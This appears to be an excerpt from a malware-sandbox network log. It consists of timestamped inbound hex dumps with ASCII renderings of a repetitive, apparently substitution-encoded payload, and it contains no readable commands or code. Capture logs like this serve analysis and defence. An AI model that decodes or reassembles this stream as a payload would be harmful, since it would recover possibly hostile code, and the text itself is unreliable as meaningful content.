Data Ascii: YK o OQ k Ot k KK Ko x Eo OkK OO x x Kx ok x x Ox x Ot R Kx OEx x x Ox OOO OEO x x Ox oo oYK O OQ 
Q Ot Q KK k x OOY ko x x R Ek x x x ooo Y Ek x x ooo x x oE OQ Ox YR Oxx oYY oYY oYY OoR OEo x x Ox Kx OEE x x 
Ox Eo O x x x Ko OoR OEo x x Ox Kx OEE x x Ox 

2021-10-29 15:55:36 UTC 2040 IN Data Raw: 52 20 4f 74 20 4f 78 20 6f 74 20 4f 74 20 51 20 45 4f 20 4b 78 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 
78 20 6f 6b 20 4f 74 20 51 20 45 4f 20 4b 6b 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 78 20 6f 51 20 4f 74 20 51 
20 45 4f 20 59 52 20 4f 78 78 20 6f 4f 78 20 4f 59 52 20 4f 74 20 4f 78 20 6f 6f 20 4f 74 20 6b 20 45 78 20 4b 78 20 4f 59 
4b 20 78 20 78 20 4f 78 20 78 20 4f 74 20 59 20 4f 6f 45 20 45 4f 20 78 20 78 20 4b 20 4f 74 20 52 20 4f 6f 45 20 59 78 20 
78 20 78 20 4b 20 4f 4f 78 20 45 78 20 4f 78 52 20 6b 6b 20 4b 78 20 4f 4b 74 20 78 20 78 20 4f 78 20 4f 74 20 6b 20 6f 52
20 4b 78 20 51 6b 20 78 20 78 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78 20 52 51 20 78 20 78 20 4f 78 
20 6f 59 4b 20 4f 20 4f 51 20 45 4b 20 
Data Ascii: R Ot Ox ot Ot Q EO Kx Oxx oOx OYR Ot Ox ok Ot Q EO Kk Oxx oOx OYR Ot Ox oQ Ot Q EO YR Oxx oOx 
OYR Ot Ox oo Ot k Ex Kx OYK x x Ox x Ot Y OoE EO x x K Ot R OoE Yx x x K OOx Ex OxR kk Kx OKt x x Ox Ot k oR Kx 
Qk x x R OoR Oxk x x Ox Kx RQ x x Ox oYK O OQ EK 

2021-10-29 15:55:36 UTC 2056 IN Data Raw: 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 6b 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 
74 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 
59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 74 20 78 20 78 
20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 4f 20 4f 74 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 
20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 
74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 4f 52 20 78 20 78 20 
78 20 45 4f 20 4f 78 78 20 4f 59 74 20 45 74 20 
Data Ascii:  EO Kk OYt Et EO Ok EO OOO OYt Et Eo Ot x x x EO QQ OYt Et Eo Ot x x x EO YY OYt Et Eo Ot x x x EO Yo 
OYt Et Eo Ot x x x EO YE OYt Et EO Ot EO OxY OYt Et Eo OR x x x EO Qk OYt Et Eo OR x x x EO Qk OYt Et Eo OR x x x 
EO KQ OYt Et Eo OR x x x EO Oxx OYt Et 

2021-10-29 15:55:36 UTC 2072 IN Data Raw: 45 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 
20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 
4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 6f 6f 20 45 4f 
20 74 6b 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 4f 51 20 4b 6b 20 4b 20 78 20 4f 6f 52 20 4f 
20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 51 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20 6b 20 
78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 
45 74 20 45 6f 20 6b 20 78 20 78 20 78 20 45 
Data Ascii: E EO OOR OYt Et Eo x x x x EO OxO OYt Et Eo x x x x EO Yo OYt Et Eo x x x x EO Qk OYt Et Eo x x x x EO 
Qk OYt Et oo EO tk OYt OOY OER x x Ox Ko OQ Kk K x OoR O x x E x x Ot EO Q OKO OOY x x O Et Eo k x x x EO YE 
OYt Et Eo k x x x EO KQ OYt Et Eo k x x x E

2021-10-29 15:55:36 UTC 2079 IN Data Raw: 20 4f 59 74 20 45 74 20 45 4f 20 45 51 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 
78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 
45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 45 6b 20 78 20 78 20 78 20 45 4f 20 
59 59 20 4f 59 74 20 45 74 20 45 4f 20 45 6b 20 45 4f 20 45 6f 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 
20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 
6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 45 74 20 78 20 78 20 78 20 45 4f 20 59 
59 20 4f 59 74 20 45 74 20 45 4f 20 45 74 20 45 4f 20 
Data Ascii:  OYt Et EO EQ EO QQ OYt Et Eo Ek x x x EO QQ OYt Et Eo Ek x x x EO YE OYt Et Eo Ek x x x EO KQ OYt Et 
Eo Ek x x x EO YY OYt Et EO Ek EO Eo OYt Et Eo Et x x x EO YK OYt Et Eo Et x x x EO YR OYt Et Eo Et x x x EO YY 
OYt Et Eo Et x x x EO YY OYt Et EO Et EO 

2021-10-29 15:55:36 UTC 2095 IN Data Raw: 45 74 20 45 4f 20 59 6f 20 45 4f 20 52 59 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 
59 4b 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 
20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 4f 20 59 4f 20 45 4f 20 45 6f 20 4f 59 74 20 45 74 20 45 6f 
20 59 78 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 4f 
20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 59 78 20 45 
4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 51 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 
4b 51 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 
Data Ascii: Et EO Yo EO RY OYt Et Eo YO x x x EO YK OYt Et Eo YO x x x EO OxO OYt Et Eo YO x x x EO YO OYt Et 
EO YO EO Eo OYt Et Eo Yx x x x EO YE OYt Et Eo Yx x x x EO YO OYt Et Eo Yx x x x EO Qk OYt Et EO Yx EO OxO OYt 
Et Eo KQ x x x EO KQ OYt Et Eo KQ x x x EO Kk 

2021-10-29 15:55:36 UTC 2111 IN Data Raw: 51 20 4f 59 74 20 45 74 20 45 6f 20 59 6f 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 
59 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20
45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 4f 20 78 20 78 20 78 20 45 4f 20 59
4b 20 4f 59 74 20 45 74 20 45 4f 20 59 4f 20 45 4f 20 4f 4f 6b 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 
45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 59 78 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 
20 59 78 20 78 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 4f 20 59 78 20 45 4f 20 51 74 20 4f 59 74 20 45 
74 20 45 6f 20 4b 51 20 78 20 78 20 78 20 45 
Data Ascii: Q OYt Et Eo Yo x x x EO Qk OYt Et EO Yo EO Qt OYt Et Eo YO x x x EO Kk OYt Et Eo YO x x x EO Yt OYt Et 
Eo YO x x x EO YK OYt Et EO YO EO OOk OYt Et Eo Yx x x x EO Qk OYt Et Eo Yx x x x EO Yt OYt Et Eo Yx x x x EO Yo 
OYt Et EO Yx EO Qt OYt Et Eo KQ x x x E
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2021-10-29 15:55:36 UTC 2127 IN Data Raw: 20 78 20 78 20 45 4f 20 59 6f 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 
59 74 20 45 74 20 45 4f 20 4f 4f 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 78 20 78 20 78 20 45 4f 20 
59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 4f 78 20 
78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 78 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 
20 51 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 
4f 59 74 20 45 74 20 45 6f 20 51 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 4f 20 51 20 45 4f 20 4f 78 
78 20 4f 59 74 20 45 74 20 45 6f 20 6b 20 
Data Ascii:  x x EO Yo OYt Et Eo OO x x x EO KQ OYt Et EO OO EO Oxk OYt Et Eo Ox x x x EO YK OYt Et Eo Ox x x x 
EO YO OYt Et Eo Ox x x x EO Qt OYt Et EO Ox EO Oxk OYt Et Eo Q x x x EO KQ OYt Et Eo Q x x x EO Oxo OYt Et Eo Q 
x x x EO QQ OYt Et EO Q EO Oxx OYt Et Eo k 

2021-10-29 15:55:36 UTC 2143 IN Data Raw: 4b 20 6f 45 51 20 4f 20 78 20 78 20 78 20 6f 6f 20 78 20 52 78 20 6f 6f 20 4f 45 45 20 78 20 4f 20 78 20 4f 52 
20 6f 4b 78 20 4f 20 78 20 78 20 78 20 6f 6f 20 78 20 6f 78 45 20 59 51 20 4f 45 45 20 78 20 4f 20 78 20 51 6b 20 4f 6b 78 
20 4f 20 78 20 78 20 78 20 4f 45 4f 20 6f 4b 20 4f 51 6f 20 4f 59 20 4f 4f 45 20 78 20 4f 20 78 20 6f 6b 20 6f 4b 4f 20 4f 20 
78 20 78 20 78 20 4f 4b 74 20 6b 20 6b 59 20 78 20 4f 4b 59 20 78 20 4f 20 78 20 4f 78 78 20 6f 4b 4f 20 4f 20 78 20 78 
20 78 20 4f 4b 74 20 6b 20 51 74 20 45 20 4f 59 78 20 78 20 4f 20 78 20 4f 78 6b 20 4f 6b 78 20 4f 20 78 20 78 20 78 20 
4f 4b 74 20 6b 20 4f 4f 74 20 45 20 4f 59 59 20 78 20 4f 20 78 20 4f 4f 74 20 4f 6b 78 20 4f 20 78 20 78 20 78 20 4f 6f 51 
20 6b 20 6f 4f 74 20 4f 20 4f 74 59 20 78 
Data Ascii: K oEQ O x x x oo x Rx oo OEE x O x OR oKx O x x x oo x oxE YQ OEE x O x Qk Okx O x x x OEO oK OQo 
OY OOE x O x ok oKO O x x x OKt k kY x OKY x O x Oxx oKO O x x x OKt k Qt E OYx x O x Oxk Okx O x x x OKt k OOt 
E OYY x O x OOt Okx O x x x OoQ k oOt O OtY x

2021-10-29 15:55:36 UTC 2159 IN Data Raw: 51 20 78 20 6f 45 52 20 59 20 4f 4f 6b 20 6b 20 51 20 78 20 6f 4b 78 20 59 20 4f 6f 45 20 6b 20 51 20 78 20 6f 
4b 4b 20 59 20 4f 6f 6b 20 6b 20 51 20 78 20 6f 4b 6b 20 59 20 4f 45 45 20 6b 20 51 20 78 20 6f 59 6f 20 59 20 4f 45 6b 
20 6b 20 51 20 78 20 78 20 52 20 4f 4b 45 20 6b 20 51 20 78 20 4b 20 52 20 4f 4b 6b 20 6b 20 51 20 78 20 6b 20 52 20 4f 
59 45 20 6b 20 4b 4f 20 78 20 45 59 20 78 20 4f 6f 20 4f 4f 20 74 45 20 78 20 45 59 20 78 20 4f 6f 20 4f 4f 20 4f 45 4f 20 
78 20 4f 4f 20 78 20 4f 51 52 20 4f 78 20 4f 45 4f 20 78 20 4f 51 20 78 20 4b 4b 20 6f 20 4f 45 4f 20 78 20 6f 74 20 78 20 
4b 4b 20 6f 20 4f 51 45 20 78 20 6f 74 20 78 20 4b 4b 20 6f 20 4f 51 45 20 78 20 4b 45 20 78 20 6f 74 20 4f 4f 20 45 20 45 
20 59 4f 20 78 20 4b 6f 20 4f 4f 20 45 59 20 
Data Ascii: Q x oER Y OOk k Q x oKx Y OoE k Q x oKK Y Ook k Q x oKk Y OEE k Q x oYo Y OEk k Q x x R OKE k Q x K 
R OKk k Q x k R OYE k KO x EY x Oo OO tE x EY x Oo OO OEO x OO x OQR Ox OEO x OQ x KK o OEO x ot x KK o 
OQE x ot x KK o OQE x KE x ot OO E E YO x Ko OO EY 

2021-10-29 15:55:36 UTC 2175 IN Data Raw: 20 4f 78 4f 20 4f 78 51 20 4f 78 4f 20 4f 4f 78 20 4f 4f 52 20 74 51 20 51 6b 20 4f 78 52 20 4f 78 4f 20 51 51 20 
4f 4f 52 20 6b 45 20 4f 78 4f 20 51 74 20 4f 4f 4b 20 51 51 20 4f 78 4b 20 4f 78 4f 20 4f 4f 4b 20 78 20 74 74 20 4f 78 4f 20 
4f 4f 59 20 4f 4f 59 20 51 74 20 4f 78 45 20 4f 78 4f 20 6b 45 20 4f 78 51 20 4f 4f 74 20 4f 78 45 20 4f 78 45 20 4f 78 6b 20 
4f 78 4f 20 4f 4f 4b 20 78 20 6b 45 20 4f 6f 4f 20 4f 4f 59 20 4f 4f 52 20 4f 78 4f 20 4f 78 51 20 4b 52 20 52 74 20 4f 4f 4f 20
4f 78 78 20 4f 78 4f 20 52 6b 20 4f 4f 4f 20 4f 78 51 20 4b 52 20 52 74 20 4f 4f 4f 20 4f 78 51 20 4f 4f 6f 20 4f 78 59 20 4f 
78 6b 20 4f 78 4f 20 4f 4f 4b 20 78 20 52 74 20 6b 45 20 4f 78 4b 20 51 74 20 4f 4f 4b 20 4f 4f 6f 20 6b 45 20 51 51 20 4f 4f 
4b 20 4f 78 59 20 
Data Ascii:  OxO OxQ OxO OOx OOR tQ Qk OxR OxO QQ OOR kE OxO Qt OOK QQ OxK OxO OOK x tt OxO OOY OOY 
Qt OxE OxO kE OxQ OOt OxE OxE Oxk OxO OOK x kE OoO OOY OOR OxO OxQ KR Rt OOO Oxx OxO Rk OOO OxQ 
KR Rt OOO OxQ OOo OxY Oxk OxO OOK x Rt kE OxK Qt OOK OOo kE QQ OOK OxY 

2021-10-29 15:55:36 UTC 2191 IN Data Raw: 20 4f 6b 4f 20 4f 74 6b 20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 
6b 4f 20 4f 45 45 20 6f 45 52 20 4f 6b 4f 20 4f 45 52 20 6f 45 52 20 4f 6b 4f 20 4f 59 59 20 6f 45 52 20 4f 6b 6f 20 4f 45 4b 
20 6f 45 52 20 4f 6b 4f 20 4f 74 52 20 6f 45 52 20 4f 6b 4f 20 4f 74 6b 20 6f 45 52 20 4f 6b 4f 20 4f 74 51 20 6f 45 52 20 4f 
6b 4f 20 4f 45 4f 20 6f 45 52 20 4f 6b 4f 20 4f 6b 45 20 6f 45 52 20 4f 6b 4f 20 4f 45 6f 20 6f 45 52 20 4f 6b 4f 20 4f 45 4f 20
6f 45 52 20 4f 6b 4f 20 4f 45 6f 20 78 20 6f 45 78 20 4f 51 4f 20 4f 6b 6b 20 6f 45 78 20 4f 51 4f 20 4f 59 74 20 6f 45 78 20 
4f 51 4f 20 4f 74 74 20 6f 45 4f 20 4f 6f 6b 20 4f 45 59 20 6f 45 78 20 4f 51 4f 20 4f 6b 78 20 6f 45 4f 20 4f 6f 6b 20 4f 59 4f 
20 6f 45 4f 20 
Data Ascii:  OkO Otk oER OkO OtR oER OkO OtR oER OkO OEE oER OkO OER oER OkO OYY oER Oko OEK oER 
OkO OtR oER OkO Otk oER OkO OtQ oER OkO OEO oER OkO OkE oER OkO OEo oER OkO OEO oER OkO OEo x 
oEx OQO Okk oEx OQO OYt oEx OQO Ott oEO Ook OEY oEx OQO Okx oEO Ook OYO oEO 

2021-10-29 15:55:36 UTC 2207 IN Data Raw: 20 4f 45 6f 20 6f 45 6f 20 4f 45 6b 20 4f 59 6b 20 6f 45 6f 20 4f 45 51 20 4f 45 52 20 6f 45 6f 20 4f 45 6b 20 4f 
6b 74 20 6f 45 6f 20 4f 45 6b 20 4f 4b 78 20 6f 45 6f 20 4f 45 6b 20 4f 4b 78 20 6f 45 6f 20 4f 45 6b 20 4f 6b 52 20 6f 45 6f 
20 4f 45 6b 20 4f 6b 74 20 6f 45 6f 20 4f 45 6b 20 4f 4b 52 20 6f 45 6f 20 4f 45 51 20 4f 4b 4b 20 78 20 6f 45 59 20 4f 45 6b
20 4f 59 6b 20 6f 45 59 20 4f 45 51 20 4f 4b 45 20 6f 45 59 20 4f 45 6b 20 4f 52 78 20 6f 45 59 20 4f 45 6b 20 4f 52 4b 20 6
f 45 59 20 4f 45 51 20 4f 4b 6f 20 6f 45 59 20 4f 45 51 20 4f 4b 6f 20 6f 45 59 20 4f 45 6b 20 4f 52 4f 20 6f 45 59 20 4f 45 
6b 20 4f 59 74 20 6f 45 59 20 4f 45 6b 20 4f 74 52 20 6f 45 59 20 4f 45 6b 20 4f 74 74 20 6f 45 59 20 4f 45 6b 20 4f 6b 74 
20 6f 45 59 20 4f 45 51 20 
Data Ascii:  OEo oEo OEk OYk oEo OEQ OER oEo OEk Okt oEo OEk OKx oEo OEk OKx oEo OEk OkR oEo OEk Okt 
oEo OEk OKR oEo OEQ OKK x oEY OEk OYk oEY OEQ OKE oEY OEk ORx oEY OEk ORK oEY OEQ OKo oEY OEQ 
OKo oEY OEk ORO oEY OEk OYt oEY OEk OtR oEY OEk Ott oEY OEk Okt oEY OEQ 

2021-10-29 15:55:36 UTC 2223 IN Data Raw: 59 4f 20 6f 6f 74 20 4f 6b 4b 20 4f 45 52 20 6f 6f 74 20 4f 6b 45 20 4f 59 6f 20 6f 6f 74 20 4f 6b 45 20 4f 59 45 
20 6f 6f 74 20 4f 6b 45 20 4f 59 4b 20 78 20 6f 45 78 20 4f 45 78 20 4f 52 78 20 6f 45 78 20 4f 45 4f 20 4f 4b 52 20 6f 45 
78 20 4f 45 4f 20 4f 45 52 20 6f 45 78 20 4f 45 78 20 4f 59 59 20 6f 45 78 20 4f 45 78 20 4f 74 6b 20 6f 45 78 20 4f 45 4f 20
4f 45 51 20 6f 45 78 20 4f 45 4f 20 4f 59 4b 20 6f 45 78 20 4f 45 4f 20 4f 45 6b 20 6f 45 78 20 4f 45 78 20 4f 59 4f 20 6f 45 
78 20 4f 45 78 20 4f 59 6f 20 6f 45 78 20 4f 45 78 20 4f 59 4b 20 6f 45 78 20 4f 45 78 20 4f 59 45 20 6f 45 78 20 4f 45 78 
20 4f 74 4f 20 6f 45 78 20 4f 45 4f 20 4f 4b 4f 20 6f 45 78 20 4f 45 78 20 4f 59 59 20 78 20 6f 45 59 20 4f 45 6f 20 4f 74 4b 
20 6f 45 59 20 4f 45 6f 20 
Data Ascii: YO oot OkK OER oot OkE OYo oot OkE OYE oot OkE OYK x oEx OEx ORx oEx OEO OKR oEx OEO OER 
oEx OEx OYY oEx OEx Otk oEx OEO OEQ oEx OEO OYK oEx OEO OEk oEx OEx OYO oEx OEx OYo oEx OEx OYK 
oEx OEx OYE oEx OEx OtO oEx OEO OKO oEx OEx OYY x oEY OEo OtK oEY OEo 

2021-10-29 15:55:36 UTC 2239 IN Data Raw: 20 6f 6f 51 20 4f 6b 4f 20 4f 74 74 20 6f 6f 51 20 4f 6b 6f 20 4f 4b 52 20 6f 6f 51 20 4f 6b 4f 20 4f 6b 6f 20 6f 6f 
51 20 4f 6b 6f 20 4f 52 4b 20 78 20 6f 45 45 20 4f 6b 74 20 4f 74 6b 20 6f 45 45 20 4f 6b 74 20 4f 6b 59 20 6f 45 45 20 4f 
6b 6b 20 4f 6b 6f 20 6f 45 45 20 4f 6b 74 20 4f 6b 4f 20 6f 45 45 20 4f 6b 74 20 4f 6b 6f 20 6f 45 45 20 4f 6b 6b 20 4f 45 51 
20 6f 45 45 20 4f 6b 74 20 4f 74 51 20 6f 45 45 20 4f 6b 6b 20 4f 52 59 20 6f 45 45 20 4f 6b 74 20 4f 6b 59 20 6f 45 45 20 4
f 6b 74 20 4f 74 6b 20 6f 45 45 20 4f 6b 6b 20 4f 52 52 20 6f 45 45 20 4f 6b 6b 20 4f 52 4b 20 6f 45 45 20 4f 6b 74 20 4f 74 
51 20 6f 45 45 20 4f 6b 74 20 4f 6b 78 20 6f 45 45 20 4f 6b 6b 20 4f 52 4b 20 78 20 6f 45 78 20 4f 51 78 20 4f 4b 4b 20 6f 
45 78 20 4f 51 78 20 4f 4b 
Data Ascii:  ooQ OkO Ott ooQ Oko OKR ooQ OkO Oko ooQ Oko ORK x oEE Okt Otk oEE Okt OkY oEE Okk Oko oEE Okt 
OkO oEE Okt Oko oEE Okk OEQ oEE Okt OtQ oEE Okk ORY oEE Okt OkY oEE Okt Otk oEE Okk ORR oEE Okk ORK 
oEE Okt OtQ oEE Okt Okx oEE Okk ORK x oEx OQx OKK oEx OQx OK
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2021-10-29 15:55:36 UTC 2255 IN Data Raw: 6f 74 20 4f 4b 51 20 4f 6b 45 20 6f 6f 74 20 4f 4b 51 20 4f 51 4f 20 6f 6f 74 20 4f 4b 51 20 4f 6b 6f 20 6f 6f 74 20
4f 59 78 20 4f 74 6b 20 6f 6f 74 20 4f 59 78 20 4f 52 6f 20 6f 6f 74 20 4f 59 78 20 4f 52 4f 20 6f 6f 74 20 4f 59 78 20 4f 74 
6b 20 6f 6f 74 20 4f 59 78 20 4f 52 78 20 6f 6f 74 20 4f 59 78 20 4f 4b 78 20 6f 6f 74 20 4f 59 78 20 4f 4b 4f 20 6f 6f 74 20 4
f 59 78 20 4f 59 51 20 6f 6f 74 20 4f 59 78 20 4f 52 4b 20 6f 6f 74 20 4f 59 78 20 4f 74 59 20 6f 6f 74 20 4f 4b 51 20 4f 74 
59 20 78 20 6f 6f 52 20 4f 59 59 20 4f 45 6f 20 6f 6f 52 20 4f 59 59 20 4f 45 78 20 6f 6f 52 20 4f 59 4b 20 4f 51 4f 20 6f 6f 
52 20 4f 59 59 20 4f 74 4b 20 6f 6f 52 20 4f 59 4b 20 4f 6b 51 20 6f 6f 52 20 4f 59 4b 20 4f 51 78 20 6f 6f 52 20 4f 59 4b 20 
4f 51 78 20 6f 6f 
Data Ascii: ot OKQ OkE oot OKQ OQO oot OKQ Oko oot OYx Otk oot OYx ORo oot OYx ORO oot OYx Otk oot OYx ORx 
oot OYx OKx oot OYx OKO oot OYx OYQ oot OYx ORK oot OYx OtY oot OKQ OtY x ooR OYY OEo ooR OYY OEx ooR 
OYK OQO ooR OYY OtK ooR OYK OkQ ooR OYK OQx ooR OYK OQx oo

2021-10-29 15:55:36 UTC 2271 IN Data Raw: 45 45 20 4f 6f 51 20 6f 6f 59 20 4f 45 45 20 4f 6b 6b 20 6f 6f 59 20 4f 45 4b 20 4f 6f 6b 20 6f 6f 59 20 4f 45 6f 20
4f 6b 52 20 78 20 6f 45 51 20 4f 4b 52 20 4f 52 45 20 6f 45 51 20 4f 4b 59 20 4f 74 6b 20 6f 45 51 20 4f 4b 52 20 4f 59 4b 
20 6f 45 51 20 4f 4b 59 20 4f 74 6b 20 6f 45 51 20 4f 4b 52 20 4f 6b 6f 20 6f 45 51 20 4f 4b 52 20 4f 52 59 20 6f 45 51 20 4f
4b 52 20 4f 4b 6b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4f 20 6f 45 51 20 4f 4b 52 20 4f 52 4
5 20 6f 45 51 20 4f 4b 52 20 4f 74 52 20 6f 45 51 20 4f 4b 52 20 4f 74 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 4f 20 6f 45 51 20 
4f 4b 59 20 4f 6b 4b 20 6f 45 51 20 4f 4b 59 20 4f 6b 52 20 78 20 6f 45 59 20 4f 4b 52 20 4f 6b 4b 20 6f 45 59 20 4f 4b 74 
20 4f 6f 6b 20 6f 45 59 20 
Data Ascii: EE OoQ ooY OEE Okk ooY OEK Ook ooY OEo OkR x oEQ OKR ORE oEQ OKY Otk oEQ OKR OYK oEQ 
OKY Otk oEQ OKR Oko oEQ OKR ORY oEQ OKR OKk oEQ OKY OkK oEQ OKY OkO oEQ OKR ORE oEQ OKR OtR o
EQ OKR OtK oEQ OKY OkO oEQ OKY OkK oEQ OKY OkR x oEY OKR OkK oEY OKt Ook oEY 

2021-10-29 15:55:36 UTC 2287 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 
59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 78 20 78 20 
74 78 20 78 20 6b 74 20 78 20 74 74 20 78 20 4b 74 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 6b 4b 
20 78 20 74 51 20 78 20 74 59 20 78 20 52 52 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 4f 4f 6f 20 78 20 74 6b 20 78 20 
52 51 20 78 20 74 4b 20 78 20 4f 78 51 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 6b 20 78 20 52 59 20 78 20 4f 4f 74 20 
78 20 4f 78 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 
Data Ascii:  x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x tx x kt x tR x 
YY x tx x tx x kt x tt x Kt x Qx x OxQ x OxY x kK x tQ x tY x RR x KE x OOY x OOo x tk x RQ x tK x OxQ x Rk x YY x Qk x 
RY x OOt x Oxo x tE x RY x RY x 

2021-10-29 15:55:36 UTC 2303 IN Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 74 45 20 78 20 
4f 6f 78 20 78 20 4b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 59 59 20 78 20 4b 74 20 
78 20 6b 59 20 78 20 52 59 20 78 20 6b 45 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 4f 4f 20 78 20 52 
59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 4b 74 20 78 20 52 51 20 78 20 6b 4b 20 78 20 52 59 20 78 20 52 59 20 78 
20 52 59 20 78 20 6b 59 20 78 20 6b 74 20 78 20 4f 78 4b 20 78 20 4f 78 74 20 78 20 4f 6f 78 20 78 20 4b 6b 20 78 20 52 
59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 52 59 20 78 
20 6b 45 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 
Data Ascii: RY x RY x RY x kY x kt x OxK x tE x Oox x Kk x RY x RY x OxY x YR x YY x Kt x kY x RY x kE x tR x RR x 
OxQ x OOO x RY x OxR x kQ x Kt x RQ x kK x RY x RY x RY x kY x kt x OxK x Oxt x Oox x Kk x RY x RY x OxY x YR x 
YY x Kt x kY x RY x kE x tR x RR x OxQ x

